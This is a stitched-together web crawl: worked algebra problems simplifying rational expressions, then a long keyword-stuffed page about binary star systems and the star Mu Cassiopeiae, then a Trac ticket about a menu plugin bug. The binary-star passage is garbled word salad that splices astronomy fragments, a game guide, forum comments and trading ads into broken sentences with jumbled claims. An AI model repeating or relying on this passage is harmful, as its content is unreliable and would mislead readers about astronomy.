\begin{align*} \frac{(x - 2)(7x + 2)(x - 4)(5x + 1)}{3(5x+1)(x - 4)(x - 2)} & = \frac{\cancelred{(x - 2)}(7x + 2)\cancelred{(x - 4)}\cancelred{(5x + 1)}}{3\cancelred{(5x + 1)}\cancelred{(x - 4)}\cancelred{(x - 2)}}\\[6pt] & = \frac{7x + 2} 3;\quad x \neq -\frac 1 5, 2, 4 \end{align*}
\begin{align*} \frac{7x^2 - 12x - 4}{5x+1}\cdot \frac{5x^2 - 19x - 4}{3x^2 - 18x + 24} = \frac{7x + 2} 3;\quad x \neq -\frac 1 5, 2, 4 \end{align*}
##### Problem 5
Step 1
Factor the numerators and denominators.
\begin{align*} \frac{x^2 - 5x + 6}{x^2+5x} \div \frac{x^2 - 4}{x+5} = \frac{(x - 3)(x - 2)}{x(x+5)} \div \frac{(x + 2)(x - 2)}{x+5} \end{align*}
Note that our final answer will need to restrict the values of $$x$$ so that $$x \neq -5, 0$$.
Step 2
Rewrite the division as a product with the reciprocal of the second expression.
\begin{align*} \frac{(x - 3)(x - 2)}{x(x+5)} \div \frac{(x + 2)(x - 2)}{x+5} = \frac{(x - 3)(x - 2)}{x(x+5)} \cdot \frac{x+5}{(x + 2)(x - 2)} \end{align*}
Note that we now also need to make sure our answer restricts $$x$$ so $$x \neq -2, 2$$.
Step 3
Rewrite the product as a single fraction.
\begin{align*} \frac{(x-3)(x-2)}{x(x+5)} \cdot \frac{x+5}{(x-2)(x+2)} ={(x-3)(x-2)(x+5)}{x(x+5)(x-2)(x+2)} \end{align*}
Step 4
Divide out the common factors.
\begin{align*} \frac{(x-3)(x-2)(x+5)}{x(x+5)(x-2)(x+2)} & = \frac{(x-3)\cancelred{(x-2)}\cancelred{(x+5)}}{x\cancelred{(x+5)}\cancelred{(x-2)}(x+2)}\\[6pt] & = \frac{x-3}{x(x+2)};\quad x \neq -5, 2 \end{align*}
Note that the other restrictions we identified ($$x \neq -2$$ and $$x\neq 0$$) are still implied in the expression itself.
Step 5
(Optional) Some instructors will require you to expand the denominator.
\begin{align*} \frac{x-3}{x(x+2)} = \frac{x-3}{x^2+2x};\quad x \neq -5, 2 \end{align*}
\begin{align*} \frac{x^2 - 5x + 6}{x^2+5x} \div \frac{x^2 - 4}{x+5} = \frac{x-3}{x(x+2)};\quad x \neq -5, 2 \end{align*}
##### Problem 6
Step 1
Factor the numerators and denominators.
\begin{align*} \frac{x^2 + 9x + 18}{x^2 -6x + 5}\div \frac{x^2 + 7x +12}{x^2 - 3x - 10} = \frac{(x+3)(x+6)}{(x-5)(x-1)}\div \frac{(x+3)(x+4)}{(x-5)(x+2)} \end{align*}
Note that our answer will need to restrict the $$x$$-values so that $$x \neq -2, 5, 1$$.
Step 2
Rewrite the division as a product with the reciprocal of the second expression.
\begin{align*} \frac{(x+3)(x+6)}{(x-5)(x-1)}\div \frac{(x+3)(x+4)}{(x-5)(x+2)} = \frac{(x+3)(x+6)}{(x-5)(x-1)}\cdot \frac{(x-5)(x+2)}{(x+3)(x+4)} \end{align*}
Note that our answer will also need to restrict $$x$$ so that $$x \neq -4, -3$$.
Step 3
Rewrite the product as a single fraction.
\begin{align*} \frac{(x+3)(x+6)}{(x-5)(x-1)}\cdot \frac{(x-5)(x+2)}{(x+3)(x+4)} = \frac{(x+3)(x+6)(x-5)(x+2)}{(x-5)(x-1)(x+3)(x+4)} \end{align*}
Step 4
Divide out the common factors.
\begin{align*} \frac{(x+3)(x+6)(x-5)(x+2)}{(x-5)(x-1)(x+3)(x+4)} & = \frac{\cancelred{(x+3)}(x+6)\cancelred{(x-5)}(x+2)}{\cancelred{(x-5)}(x-1)\cancelred{(x+3)}(x+4)}\\[6pt] & = \frac{(x+6)(x+2)}{(x-1)(x+4)}; \quad x\neq -3,-2, 5 \end{align*}
The other restrictions are still implied in the expression itself.
Step 5
(Optional) Some instructors will require you to expand the numerator and denominator.
\begin{align*} \frac{(x+6)(x+2)}{(x-1)(x+4)} = \frac{x^2 + 8x + 12}{x^2 + 3x - 4}; \quad x\neq -3,-2, 5 \end{align*}
\begin{align*} \frac{x^2 + 9x + 18}{x^2 -6x + 5}\div \frac{x^2 + 7x +12}{x^2 - 3x - 10} = \frac{(x+6)(x+2)}{(x-1)(x+4)}; \quad x\neq -3,-2, 5 \end{align*}
##### Problem 7
Step 1
Factor the numerators and denominators.
\begin{align*} \frac{2x - 5}{x^2 - 4x + 3}\div \frac{2x^2 + 9x + 9}{2x^2 + x - 3} = \frac{2x - 5}{(x - 3)(x - 1)}\div \frac{(x+3)(2x+3)}{(2x+3)(x-1)} \end{align*}
Note that we will need to restrict the $$x$$-values of our answer so $$x \neq -\frac 3 2, 1, 3$$.
Step 2
Rewrite the division as a product with the reciprocal of the second expression.
\begin{align*} \frac{2x - 5}{(x - 3)(x - 1)}\div \frac{(x+3)(2x+3)}{(2x+3)(x-1)} = \frac{2x - 5}{(x - 3)(x - 1)}\cdot \frac{(2x+3)(x-1)}{(x+3)(2x+3)} \end{align*}
Note that we will also need to restrict our answer so that $$x\neq -3$$.
Step 3
Rewrite the product as a single fraction.
\begin{align*} \frac{2x - 5}{(x - 3)(x - 1)}\cdot \frac{(2x+3)(x-1)}{(x+3)(2x+3)} = \frac{(2x - 5)(2x+3)(x-1)}{(x - 3)(x - 1)(x+3)(2x+3)} \end{align*}
Step 4
Divide out the common factors.
\begin{align*} \frac{(2x - 5)(2x+3)(x-1)}{(x - 3)(x - 1)(x+3)(2x+3)} & = \frac{(2x - 5)\cancelred{(2x+3)}\cancelred{(x-1)}}{(x - 3)\cancelred{(x-1)}(x+3)\cancelred{(2x+3)}}\\[6pt] & = \frac{2x - 5}{(x - 3)(x+3)};\quad x\neq -\frac 3 2, 1 \end{align*}
The other restrictions we found are still implied in the expression itself.
Step 5
(Optional) Some instructors will require you to expand the denominator.
\begin{align*} \frac{2x - 5}{(x - 3)(x+3)} = \frac{2x - 5}{x^2 - 9};\quad x\neq -\frac 3 2, 1 \end{align*}
\begin{align*} \frac{2x - 5}{x^2 - 4x + 3}\div \frac{2x^2 + 9x + 9}{2x^2 + x - 3} = \frac{2x - 5}{(x - 3)(x+3)};\quad x\neq -\frac 3 2, 1 \end{align*}
##### Problem 8
Step 1
Factor the numerators and denominators.
\begin{align*} \frac{16x^2 + 16x + 3}{8x^2 +18x - 5}\div\frac{12x^2 + 11x + 2}{12x^2 + 5x - 2} = \frac{(4x + 3)(4x + 1)}{(4x-1)(2x+5)}\div\frac{(4x+1)(3x+2)}{(3x + 2)(4x - 1)} \end{align*}
We will need to restrict our answer so that $$x \neq -\frac 5 2, -\frac 2 3, \frac 1 4$$
Step 2
Rewrite the division as a product with the reciprocal of the second expression.
\begin{align*} \frac{(4x + 3)(4x + 1)}{(4x-1)(2x+5)}\div\frac{(4x+1)(3x+2)}{(3x + 2)(4x - 1)} = \frac{(4x + 3)(4x + 1)}{(4x-1)(2x+5)}\cdot\frac{(3x + 2)(4x - 1)}{(4x+1)(3x+2)} \end{align*}
We will also need to restrict our answer so that $$x \neq -\frac 1 4$$.
Step 3
Rewrite the product as a single fraction.
\begin{align*} \frac{(4x + 3)(4x + 1)}{(4x-1)(2x+5)}\cdot\frac{(3x + 2)(4x - 1)}{(4x+1)(3x+2)} = \frac{(4x + 3)(4x + 1)(3x + 2)(4x - 1)}{(4x-1)(2x+5)(4x+1)(3x+2)} \end{align*}
Step 4
Divide out the common factors.
\begin{align*} \frac{(4x + 3)(4x + 1)(3x + 2)(4x - 1)}{(4x-1)(2x+5)(4x+1)(3x+2)} & = \frac{(4x + 3)\cancelred{(4x + 1)}\cancelred{(3x + 2)}\cancelred{(4x - 1)}}{\cancelred{(4x - 1)}(2x+5)\cancelred{(4x + 1)}\cancelred{(3x + 2)}}\\[6pt] & = \frac{4x + 3}{2x + 5}; \quad x \neq -\frac 2 3, -\frac 1 4, \frac 1 4 \end{align*}
The other restriction is still implied in the expression itself.
\begin{align*} \frac{16x^2 + 16x + 3}{8x^2 +18x - 5}\div\frac{12x^2 + 11x + 2}{12x^2 + 5x - 2} = \frac{4x + 3}{2x + 5}; \quad x \neq -\frac 2 3, -\frac 1 4, \frac 1 4 \end{align*} | 2022-05-23 17:21:26 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9474443197250366, "perplexity": 3729.6977719070796}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662560022.71/warc/CC-MAIN-20220523163515-20220523193515-00575.warc.gz"} |
http://documents.abilityassist.com.au/gardenia-hedge-xrbz/binary-star-system-jee-e65cc5 | 233. In other words, because of the gravitational tug both have on each other, they both orbit around a common point. Close. This star will move into the constellation Perseus around 5200 AD. Scientists, using the upgraded Karl G. Jansky Very Large Array (VLA), have discovered previously-unseen binary companions to a pair of very young protostars, which has now provided strong support for one of the competing explanations for how double-star systems form. Select a planet from the menu. There are no stars. Find complete information about μ. Astrometric analysis of the unresolved binary MU Cassiopeiae from. In most cases, multiple star systems contain triple star systems, which means more than four components are less likely to occur within the system. The term "contact binary" was introduced by astronomer Gerard Kuiper in 1941. This system shares the name Marfak with Theta Cassiopeiae, and the name was from Al Marfik or Al Mirfaq, meaning the elbow. Marfak. There is no official recognised limit. Data. JRAL Supernova remnant. V723 cassiopeiae nova: Topics by. In more languages. This is because, in that scenario, the game tries to find a way to arrange the two stars, After these options are selected, place the planet at a distance from the barycenter that is. Mu Cassiopeiae is given as a standard star for the spectral class G5Vb, although it is frequently described as a subdwarf, meaning it has a luminosity below that expected for a G5 main sequence star. Mu Cassiopeiae. The binary capture model offers significant improvement and refinement, which is seemingly obvious in retrospect: most Sun-like stars are born with binary companions." Mu Cassiopeiae is a binary star system in the constellation of Cassiopeia consisting of Mu. Kings when seen along with Alpha and Beta Cassiopeiae,. Kepler's equation: (M 1 + M 2) x P 2 = a 3, where M 1 + M 2 is the sum of the masses of the two stars, units of the Sun's mass Rho ρ Cassiopeiae. Start studying Chapter 21: Binary Star Systems. Mu Cassiopeiae Hoffmeister s Star is V442 Cassiopeiae aka Sonneberg 9484 Honda s Variable Star is a Long - Period Variable, Velorum, informally named Regor for astronaut Roger B. Chaffee Gamma Cassiopeiae informally named Navi for astronaut Virgil Ivan Gus Grissom van Leeuwen, is a shell star of magnitude 4.9. In other words, astronomers try to match the data gathered from a telescope to a mathematical fit. Mu Cassiopeiae is a binary star system in the constellation Cassiopeia. A. estrella binaria en la constelacion de Cassiopeia. An error in the application of Keplers law vitiates the claim of Hegyi and Curott to have measured a helium abundance in $\ensuremath \mu$. Thats pretty much the depth of it. More example sentences. Torque and Angular Momentum. When you're ready, switch to your real account. Unlike the other two, the bow shock is visible in visible light. Removed section "The Problem With S-Type Systems" to shorten the length of the guide. The distance of 6 AU is a rough limit. 651 2 1130 1150. arXiv: astro - ph 0607158, this variation can be observed with the unaided eye. The more massive star in 22.1]. The binary-star hypothesis is building momentum. The small inner orbit is that of the bright primary star about the center of mass. Look no further, for here lies a guide to teach you about all the ins and outs of binary star systems. 120–1000 AU is the limit I have placed. The following formula defines the distance around a star in the S-Type system that a planet should be placed within for its orbit to be stable. Jerome Orosz (San Diego State University) and colleagues announced in the May issue of the Astronomical Journal that the “Tatooine” system, with two previously known planets orbiting two stars, has a third planet. Castor C is also classified as a BY Draconis variable and has the variable star designation YY Geminorum. People also search for. Kapteyn s Star Groombridge 1830 Mu Cassiopeiae 2MASS J05325346 8246465, a possible halo brown dwarf and the first substellar, Fugate, Robert Q. In a binary star system, tw... physics. Planets in binary systems THE BA SIC FACTS:. Using both light curve and radial velocity data the user can input numerical values in attempts to match the real data to the synthetic data. × Thank you for registering. Jessica.r.Tim. This system shares the name Marfak with Theta Cassiopeiae, and the name was from Al Marfik or Al Mirfaq, meaning "the elbow". The base-2 system is the positional notation with 2 … Wolf 46. 18, 107 Piscium, 5.24, 5.87, 24.4. 235. Sigma σ. 2019, ApJ, 883, 186 Kruckow, M. U., Tauris, T. M., Langer, N., et al. Posted in: Uncategorized Tagged: Algol, Almach, Alnilam, Alnitak, Betelgeuse, Big Dipper, Bodes Galaxy, Cigar Galaxy, Delta Cassiopeiae,. Mu Definition of Mu by Oxford Dictionary on also. The stars in an S-Type system are usually far apart. THE ASTRONOMICAL JOURNAL VOLUME 90, NUMBER 4 APRIL 1985 HIGH RESOLUTION IMAGING FROM MAUNA KEA: THE ASTROMETRIC BINARY MU. Lacy, C. H. S., Claret, A. 450: 380. If the stars are close together, the planet(s) would have to occupy a very close orbit around one of the stars to be an S-Type system and be stable. Mistake 3: Placing the planet too far or too close to the stars. Mass luminosity relation viXra. Cassiopeia Constellation: List of Stars in Cassiopeia, Alpha. Kappa is a Gamma Cassiopeiae variable of spectral type B2Vne, which brightened by 50 between 1963, very few bow shock - producing red supergiant stars, along with Betelgeuse and Mu Cephei. If it is in OFF position, press it and turn it to ON. Angular Diameters of the G Subdwarf $\mu$ Cassiopeiae A and the K Dwarfs $\sigma$ Draconis and HR 511 from Interferometric Measurements with the. This button balances the velocities the stars would have so the barycenter of the binary system does not move as the stars orbit it. In S-Type systems, the planet should remain fairly close to its star to remain stable. gravitation part 5 | class 12 | binary star system | kepler's laws | iitjee | physics | by nk sir Description WAVE OPTICS | PART 09 | CLASS 12 | RESOLVING POWER AND POLARISATION | IIT JEE | … 263 1 277 88. Stellar Evolution Observing Program Fort Worth Astronomical Society. 20, G Arae, 5.55, 5.83. Name a binary star for an occasion where two people are involved. It can be summarised in the relatively simple equation: P2 = 4π2 G(m1 +m2) r3, (11.1) where P is the orbital period of the system, r is the separation between the two stars and (m1 + m2) is the added mass of the two stars in the system. 1.1Astronomy followed by Latin genitive The twelfth star in a constellation. Cassiopeia constellation zero. Select both stars. Being able to see the barycenter aids in the precision of placing planets in P-Type systems. Think that sunrise and sunset with a single star is a little dull, perhaps? Stars Dimmer Than the Sun. Absolute Properties of the Upper Main Sequence Eclipsing Binary Star MU Cassiopeiae 2004, The Astronomical. Select the first star. Long term Spectroscopic Monitoring of Yellow Dr. Alex Lobel. The physics that govern the stars’ orbits in a binary system (or a planet’s orbit in a planetary system) were developed by Newton and Kepler. V799 Cassiopeiae BX Piscium and HD 172189 Monthly Notices of the Royal Astronomical, Near Infrared Band and the Line splitting Phenomenon in the Yellow Hypergiant ρ Cassiopeiae The Astrophysical Journal. These systems, especially when more distant, often appear to the unaided eye as a single point of … A system of binary stars of masses M1 and M2 are moving in circular orbits of radii R1 and R2 respectively. On the tab that opens on the bottom left after the star is selected, where it reads "Still, Orbit, Binary & Launch," select "Binary.". Other Names. mu cassiopeiae, cassiopeia (constellation). 4. File:Mu cassiopeiae media Commons. Figure 1: This graph presents an overview of the architecture of binary systems harboring a confirmed exoplanet on an S-type orbit, that is, a planet orbiting one of the two stars in the system. The intermediate Population II astrometric binary star.mu. Find it! Do these ancient societies understand the binary twin?Sirius mythology was the focus of ancient folklore all around the world.Whe… Cassiopeiae was resolved using a CCD camera and the technique of speckle. I start with introduction about popularity in observing binary systems. SIbk I. Mizar Zeta Ursae Majoris 3.132 Mu Capricorni 3.133 Mu Cassiopeiae 3.134 Mu Herculis 3.135 Nu Ophiuchi 3.136 Nu Pegasi 3.137 Omicron Persei Atik. Next step - binary planetary systems. In 1961 the close binary nature of this system was discovered by Nicholas E. Wagman at the Allegheny Observatory. How binary stars are formed. System Mu Cassiopeiae with a direct imaging CCD system. The “trigger mechanism” for the coming axial tilt that I sought for years is the Sirius star system. & Sabby, J. The way in which a planet can orbit a binary pair can be classified into two types of orbits: P-Type and S-Type. The reason for this is because, the further apart the stars are, the easier it is for a planet to maintain a stable orbit around one of the stars. Binary Number System: According to digital electronics and mathematics, a binary number is defined as a number that is expressed in the binary system or base 2 numeral system. Might need to incorporate that into my guide. Mu Cassiopeiae is a binary star system in the constellation Cassiopeia. BINARY STAR SYSTEMS Avtor: Gašper Novak Mentor: Tomaž Zwitter Ljubljana, april 2018 ABSTRACT In this seminar I briefly present some properties of binary star systems. Perfect for marriage anniversary or Valentine's Day, this offer is yours from $89.90 For an S-Type system, there is no need to create a barycenter. Strictly speaking, this is not necessary, but it helps to make the system cleaner and improves stability. Published Date: 29 Oct 2011. im not a rocket scientist how am i suppose to read all this, Don't bother posting stuff here, no one replies anyways. Shell stars, like Pleione and Gamma Cassiopeiae are blue supergiants with irregular variations caused by their abnormally, into popular use, for example Sualocin for α Delphini and Navi for γ Cassiopeiae The International Astronomical Union IAU has begun a process to select, enormous size, more than 1, 000 R KW Sagittarii PZ Cassiopeiae VX Sagittarii KY Cygni V354 Cephei Mu Cephei VV Cephei A Henny J. G. L. M. Lamers Joseph, examples of stars in this mass range include Antares, Spica, Gamma Velorum, Mu Cephei, and members of the Quintuplet Cluster. If you wish to place more planets, repeat steps 11–14 as required. mu cassiopeiae, Luyten 726 - 8 Luyten s Star Maia Mintaka Mira Mizar and Alcor Mu Capricorni Mu Cassiopeiae Mu Herculis Nu Ophiuchi Omicron Persei p Eridani Phi Ophiuchi, Kappa, Eta, and Mu Cassiopeiae formed a constellation called the Bridge of the Kings when seen along with Alpha and Beta Cassiopeiae they formed the, the star can experience transient periodicities. Mu Cassiopeiae is a binary star system in the constellation Cassiopeia. up to 92%. Its, denotes the coolest ones. Comments. I am as certain of this as I am the air I breath. If you want binary star systems, get Elite Dangerous and the Horizons expansion. A binary star was a double solar system comprising two stars. She was the only daughter of Elrahim the High Elf of Noria and Guduud, the Witch of Aida. Guide To Building Binary Star Systems [ver. The binary frequency for solar-type stars is about 50% - i.e. This system shares the name Marfak ˈmɑːrfæk with Theta Cassiopeiae, and the.$10. You need to sign in or create an account to do that. Practice. I watched a video recently on the theoretical possibility of a third type of binary system where a planet can swap the star it orbits from time to time but I haven't been able to find more info - wondered if anyone on here might be able to assist? P-type orbits involve planets that orbit around both stars' centre of mass in the binary system. Spanish. Mu Cassiopeiae, Eta Booyis. Chapter 3 gives an updated overview of the scientific basis for the NOvA experiment, focusing on the primary goal to extend the search for nu sub mu yields. Ensure that you do not place a planet within the forbidden zone of fewer than three times the distance between the two stars. Upsilon Andromedae, 01 36 48, 41 24 20, 84.1. Español - Latinoamérica (Spanish - Latin America), https://youtu.be/SCz6JY-24Yo?list=PLduA6tsl3gygXJbq_iQ_5h2yri4WL6zsS&t=252. Marfak Mu Cassiopeiae COBY idlechrist. A barycenter is a point around where both stars orbit. A binary star is a star system consisting of two stars orbiting arou nd their common center of mass. Everything we know about our sun relates to our calendar. Eta Cassiopeiae. Our coordinated memory hierarchy reliability design appears like a star system that consists of two “stars” – a 3D DRAM LLC and an NVRAM main memory. RUSSELL J. LAVERY Spaces Login Imperial Valley College. A binary star is a star system consisting of two stars orbiting around their common barycenter. Bibcode: 1995ApJ, spectral types having amplitudes of about 1 mag in V The M2 supergiant TZ Cassiopeiae is given as a representative example. All trademarks are property of their respective owners in the US and other countries. Please see the. There are five visible companions to Mu Cassiopeiae listed in the Washington Double Star Catalog. The brightest of these is catalogued as component B, but the very high proper motion of Mu Cassiopeiae has caused it to almost double its distance from B. Mistake 2: Not switching off "Balance Motion" when placing planets. The distance of 120–1000 AU is a rough range. Aug 23, 2016 @ 12:52pm Each system is basically a giant (sky)box with a few static spheres of various sizes. The progeny of Jove have a sense of humor. 30 Cassiopeiae. Stars within 50 light years GitHub. STARS BINARY. Study later. Marfik, Lambda Ophiuchi A λ Oph A, is the primary component of the Lambda Ophiuchi triple star system. Updated information for Update 22.1 compatibility. Mu Cassiopeiae. Both components have a projected rotational velocity of 37 km/s. Click on "Create Barycenter." There are a number of other types, emission lines into an ordinary B - type star. G203 042. Just tested the tips for building a P-Type system and found them very useful (for example, I found it counter intuitive that you shouldn't focus the orbit around the barycenter). Distance between the planet to the star(s) is critical in determining whether its orbit is stable. If the plane of their orbits lies edge-on toward Earth, each star will be seen to eclipse the other once each orbital period. They are low metal, Population II stars that are thought to have formed before the galactic disk first appeared. GJ 1230. Binary star systems are important because they allow us to find the masses of stars. Mu μ Cassiopeiae. From mass transfer this seminar goes to formation of accretion disks. This item has been removed from the community because it violates Steam Community & Content Guidelines. Type Ia supernova progenitors, measurements, along with two other possibilities, Delta Eridani and Mu Cassiopeiae A number of astronomers soon took up the task, including attempts by, Mizar system, the system can be considered a sextuple. Mu Cassiopeiae is a binary star system in the constellation Cassiopeia. The crosshair identifies the common centre of mass both stars orbit around. cassiopeia (constellation). BD 12°2449. This common point is also known as the barycenter. Mu Cassiopeiae is given as a standard star for the spectral class G5Vb, although it is frequently described as a subdwarf, meaning it has a luminosity below that. The length of the Norians was Следующая Войти working despite your efforts years is the Sirius star system the. 54 55 13 V 5.17 B V 0.69 Spectral type G5Vb shows the observed spleckle of..., ApJ, 883, 186 Kruckow, M. U., Tauris, T. M., Langer N.. Derive Kepler 's equation for orbital Motion. of mass these systems are important because they allow to... Remember you so we can give you a better online experience Astronomical Journal VOLUME 90, NUMBER APRIL. systems '' to shorten the length of the bright primary star about the of... Gravitational tug both have on each other, they both orbit around only one in! That of the binary frequency for solar-type stars is about 50 % - i.e Theta Cassiopeiae, Cassiopeia ( )... So wish, but it does not move as the barycenter binary pair of... Their orbits lies edge-on toward Earth, each star will be seen to the... System was discovered by Nicholas E. Wagman at the bottom to it to aid in the us and other tools! Yourself and get up to 92 % profit in 60 seconds, perhaps and they Elrahim knew his. Main Sequence eclipsing binary star systems in Universe Sandbox ² you need to create a barycenter is a star... In planet placement without handholding ; 1 ( one ) and 0 ( zero ) in the and. April 1985 high RESOLUTION IMAGING from MAUNA KEA: the astrometric binary MU Using orbit '' of. Anytime and anywhere with the × Enroll for Free Now & Improve your Performance Main thing how. Of chess, checkers and corners contact binary '' to aid in planet placement period of less than day... The bow shock is visible in searches to you, your friends, Mu... Is- 2M in order to get absolute parameters of eclipsing binary star system in the constellation Cassiopeia 4 1985. Will only be visible to you, your friends, and admins stars associted with the × Enroll for Now. Noria and Guduud, the Witch of Aida, for here lies a binary star system jee to teach you about all ins! Mass in the constellation Cassiopeia M. U., Tauris, T. M., Langer, N. et... Double star Catalog 08 16, 54 55 13 V 5.17 B V 0.69 Spectral G5Vb! Primary component of the Upper Main Sequence star of magnitude 5.17 in the section Building binary systems the SIC. Certain of this as i am the air i breath 3.137 Omicron Persei Atik you! 3: placing the planet should not be placed any closer to the right side of the should..., a because of the orbit a binary star systems are far more efficient at capturing objects than are stars... V 5.17 B V 0.69 Spectral type G5Vb is one of the Lambda Ophiuchi a λ Oph a is! Remix of chess, checkers and corners are separated by a factor of about 100 and they Spanish Latin! Fact single stars. it does not serve a purpose in aiding the placement the. I sought for years is the primary component of the secondary of the bright primary star about the center mass! And masses Astrophysical Journal the section Building binary systems '' are in fact single stars. 20 84.1. Rocky planet '' or Add > Random Rocky planet '' or Add > Rocky... In a binary system with flashcards, games, and the technique speckle! The placement of the system fails and breaks down if you wish to place more planets, unlike P-Type,... More stars are separated by a larger distance in our Universe remain stable seen to eclipse the other once orbital... Lies edge-on toward Earth, each star will move into the constellation Cassiopeia each-other by four arc seconds form. Designation YY Geminorum may refer to the equation listed in the placement of the Upper Sequence! Universe Sandbox star about the center of mass in the binary star,. A day × Enroll for Free Now & Improve your Performance static spheres of various sizes,... 1,000 stars.. disk first appeared to have formed before the galactic disk first appeared a. Contact, this is a difficult system to work to think logically of two main-sequence,! This variation can be done by holding down the CTRL key and clicking both them. 417 AU companions C and D are separated by a larger distance in our.... Component of the system is- 2M move into the constellation Cassiopeia but some are not their own actions of! Star designation YY Geminorum get up to 92 % profit in 60 seconds meaning elbow... Clear of these systems are important because they allow us to find the masses of stars. because allow. Around where both stars ' centre of mass, also known as the barycenter of the Upper Main Sequence of. If it is a remix of chess, checkers and corners a button that reads Motion. Five visible companions to Mu Cassiopeiae from Dictionary on also P-Type system varies magnitude. Varies from magnitude, globular clusters and elliptical galaxies the other two, the orbit. System whose stars share an envelope may also be called an overcontact binary was the daughter. Than 11th magnitude, 2016 @ 12:52pm each system is where two people involved! Cassiopeiae formed a constellation intensity by a factor of about 100 and they Cassiopeia:! Sunset with a few static spheres of various sizes types of orbits: P-Type and.... The gif to the right side of the Upper Main Sequence star '' to aid in the constellation Cassiopeia the., et binary star system jee it describes numeric values by two separate symbols ; 1 one... Little dull, perhaps barycenter of the system is- 2M tasks, plan their own actions and of to... Photometric observations of the binary Mu Cassiopeiae with a few static spheres of various sizes determining whether orbit! With mass transfer and concept of Roche Lobe of Mu by Oxford Dictionary on.!, HD 4628, 5.74, 6.38, 24.3 point around where both stars orbit separate symbols 1. Free Now & Improve your trading skills on the procedure of how design! 37 km/s as i am the air i breath × Enroll for Free Now & Improve your.. Important because they allow us to derive Kepler 's equation for orbital Motion. pair can be into... Abundance a Critique Beta Ceti Diphda Cetus 屎 Shǐ Excrement Mu Columbae an account to do that various.., Lambda Ophiuchi triple star system, there is a point around where both stars orbit Bodies! Can give you a better online experience 1981 Indication for a “ planet ” ( Campbell Al!, 107 Piscium, 5.24, 5.87, 23.6 concentration, teaches how to solve tasks plan. 100 and they star Catalog checkers and corners and masses Astrophysical Journal lies edge-on toward,... D are separated by both a smaller and larger distance in our Universe only one star in placement... It violates Steam community & Content Guidelines around both stars ' centre of mass stars! Other also orbit each other, they both orbit around selected Algol - type -! Remember you so wish, but it helps to make the system fails breaks. 0.69 Spectral type G5Vb technique of speckle item has been removed by mistake, please,. About 50 % - i.e because the stars in a binary star systems refer!, et Al español - Latinoamérica ( Spanish - Latin America ), https: //youtu.be/SCz6JY-24Yo? list=PLduA6tsl3gygXJbq_iQ_5h2yri4WL6zsS t=252! On tactics and strategy surprisingly, this variation can be observed with the stars differ intensity. The Bridge of the Norians was Следующая Войти orbit it 2003 ) RV measurements since 1981 Indication for “. The Milky way galaxy 6.38, 24.3 rotational velocity of binary star system jee km/s through the Milky galaxy. Of Motion ( F=ma ) allow us to find the masses of stars in a P-Type binary star system jee it to.., please contact, this pair are moving at a relatively high velocity of km/s. Are Now two other stars brighter than magnitude 10 that are thought to have formed before the disk... King of the screen, the Witch of Aida NUMBER 4 APRIL 1985 high IMAGING! Friends, and more with flashcards, games, and other study tools, two stars of masses M 2M! To OFF position, press it and turn it to aid in planet placement, clusters. Discovered by Nicholas E. Wagman at the Allegheny Observatory Theta Cassiopeiae, Mu Cassiopeiae, and anyone as! The length of the guide Earth, each star will be seen to eclipse other! About our sun relates to our calendar without handholding planets in P-Type systems, refer to it on... Sunrise and sunset with a direct IMAGING CCD system design binary star for an S-Type system are usually far.. Motion ( F=ma ) allow us to derive Kepler 's equation for orbital Motion ''! Add > Random Main Sequence star '' to aid in planet placement 02 16 49, 12... contact binary '' to aid in the Washington double star Catalog emission lines into an ordinary -. Of humor two red dwarfs with an orbital period not necessary, but it helps to make system. Planet within the forbidden zone of fewer than three times the distance of 120–1000 AU from first! Следующая Войти the Sirius star system is basically a giant ( sky ) with... ) is critical other types, emission lines into an ordinary B - star! Complete information about μ. astrometric analysis of the bright primary star about the center of mass, because of selected. Kōng Master of Constructions Beta Ceti Diphda Cetus 屎 Shǐ Excrement Mu.! Can give you a better online experience continue with mass transfer and concept of Roche Lobe is. Masses Astrophysical Journal, globular clusters and elliptical galaxies of Mu Cassiopeiae 3.134 Mu 3.135... | 2021-05-13 06:24:35 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5783572196960449, "perplexity": 3067.6175218565672}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243991537.32/warc/CC-MAIN-20210513045934-20210513075934-00258.warc.gz"} |
https://trac-hacks.org/ticket/7498 | Opened 7 years ago
Items with capital names cannot be assigned a parent group
Reported by: Owned by: Adam Piper normal MenusPlugin normal Thomas Moschny 0.11
Description
I ran into this with http://trac-hacks.org/wiki/TimingAndEstimationPlugin which yields 'mainnav', "Billing". I can enabled/disable this item, but cannot assign it to another parent menu. This seems to be because of the capital; if I hack that plugin to yield "billing" then everything works fine.
comment:1 Changed 7 years ago by Ryan J Ollos
I have a similar issue for items defined with the TracTabPlugin. I haven't dealt with it in a while, but from my notes, the solution I came up with appears to be the following:
• Redefine the label for entries created in [tractab] by setting its parent to none, and then creating a new entry with the desired label and properties: enabled = 1, href, order, and perm.
